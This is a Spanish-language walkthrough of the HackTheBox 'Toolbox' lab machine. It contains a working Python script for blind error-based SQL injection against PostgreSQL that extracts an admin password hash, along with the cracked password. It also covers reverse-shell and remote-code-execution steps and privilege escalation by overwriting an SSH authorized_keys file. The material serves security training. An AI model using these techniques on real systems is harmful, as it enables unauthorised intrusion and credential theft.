HackTheBox - Toolbox
Máquina Windows de nivel Easy de HackTheBox.
Técnicas usadas: Default Credentials, SQL Injection, Docker Toolbox
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Toolbox
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
nmap -p<Ports> -sCV <IP> -oN versiones
- Conseguimos un dominio admin.megalogistic.com el cual añadiremos al archivo /etc/hosts.
- Vemos un fichero docker-toolbox.exe en el servicio FTP.
c. Visitamos el dominio https://admin.megalogistic.com
Aquí intentaremos una inyección sql y al momento de ingresar una sentencia incorrecta veremos un mensaje el cual nos dirá que base de datos se usa
Inyecciones SQL en PostgreSQL
Automatizamos la inyección sql basada en error con python para obtener la contraseña del usuario admin
Basándonos en la lógica del script y la inyección previamente obtenemos el nombre actual de la base de datos test, una tabla users y sus columnas username,password
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
import requests import string from pwn import * import sys import signal import urllib3 def exit_handler(sig, frame) -> None: print("[!] Exit") sys.exit(1) def get_currentdb() -> None: global_string = string.ascii_letters + string.digits + string.punctuation + ' ' main_url = "https://admin.megalogistic.com/" bar_1 = log.progress("Brute Force") bar_1.status("Starting Brute Force...") bar_2 = log.progress("admin password") headers = {"Cookie" : "PHPSESSID=[Cambiar]", "Content-Type": "application/x-www-form-urlencoded"} password = "" lenght = 0 for index in range(1,50): for character in global_string: data = {"username":f"admin'||(select case when substring(password,{index},1)='{character}' then 1/(select 0) else NULL end from users limit 1)-- -", "password": "admin"} bar_1.status(data["username"]) r = requests.post(main_url, headers=headers, data=data, verify=False) if('division by zero in' in r.text): lenght += 1 password += character bar_2.status(str(lenght) + ': ' + password) break if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) signal.signal(signal.SIGINT, exit_handler) get_currentdb()
Esta credencial está hasheada con MD5, la obtenemos en texto claro
1 2 3 4 5
[>] Brute Force: admin'||(select case when substring(password,39,1)='C' then 1/(select 0) else NULL end from users limit 1)-- - [..../...] admin password: 42: 4a100a85cb5ca3616dcf137918550815 dcode 4a100a85cb5ca3616dcf137918550815 [+] Cracked MD5 Hash : iamzeadmin
d. Al autenticarnos estaremos en un dashboard en el que no vemos información relevante, con lo cual intentaremos ejecutar comandos con la inyección sql RCE con PostreSQL
Usaremos el payload
Levantamos un servidor con python y enviaremos la petición con BurpSuite
A pesar de ver una error en la ejecución del comando, nos llega la petición con el output del comando en base64 a nuestro servidor de python.
Nos entablaremos una reverse shell, para esto nos ponemos en escucha previamente con nc y enviaremos la siguiente petición con BurpSuite
e. Vemos que estamos en un contenedor
1
2
3
4
5
6
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ uname -a
Linux bc56e3cc55e9 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux
Con la información reunida consultamos sobre Boot2Docker y Docker-ToolBox. Encontramos una forma de autenticarnos en ssh
1 2 3 4 5 6 7
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ssh docker@172.17.0.1 docker@172.17.0.1's password: ( '>') /) TC (\ Core is distributed with ABSOLUTELY NO WARRANTY. (/-_--_-\) www.tinycorelinux.net docker@box:~$
Escalada de Privilegios 💹
a. Exploramos este host
1
2
3
4
5
6
7
docker@box:/c/Users/Administrator$ ls -al
total 1613
drwxrwxrwx 1 docker staff 8192 Feb 8 2021 .
dr-xr-xr-x 1 docker staff 4096 Feb 19 2020 ..
drwxrwxrwx 1 docker staff 4096 Aug 28 15:13 .VirtualBox
drwxrwxrwx 1 docker staff 0 Feb 18 2020 .docker
drwxrwxrwx 1 docker staff 0 Feb 19 2020 .ssh
Encontramos un directorio .ssh en el que podemos meter nuestra clave pública authorized_keys
1 2
docker@box:/c/Users/Administrator/.ssh$ ls authorized_keys id_rsa id_rsa.pub known_hosts
Generemos un par de claves en nuestra Máquina Atacante
1 2 3
❯ ssh-keygen ❯ ls id_rsa id_rsa.pub
Copiamos la clave id_rsa.pub en el archivo authorized_keys del host docker
1
docker@box:/c/Users/Administrator/.ssh$ echo -n 'id_rsa.pub' > authorized_keys
b. Ya con esto podemos acceder como administrator en el servicio SSH
1
2
3
4
root@kali~/.ssh> ssh administrator@10.10.10.236
Microsoft Windows [Version 10.0.17763.1039]
administrator@TOOLBOX C:\Users\Administrator>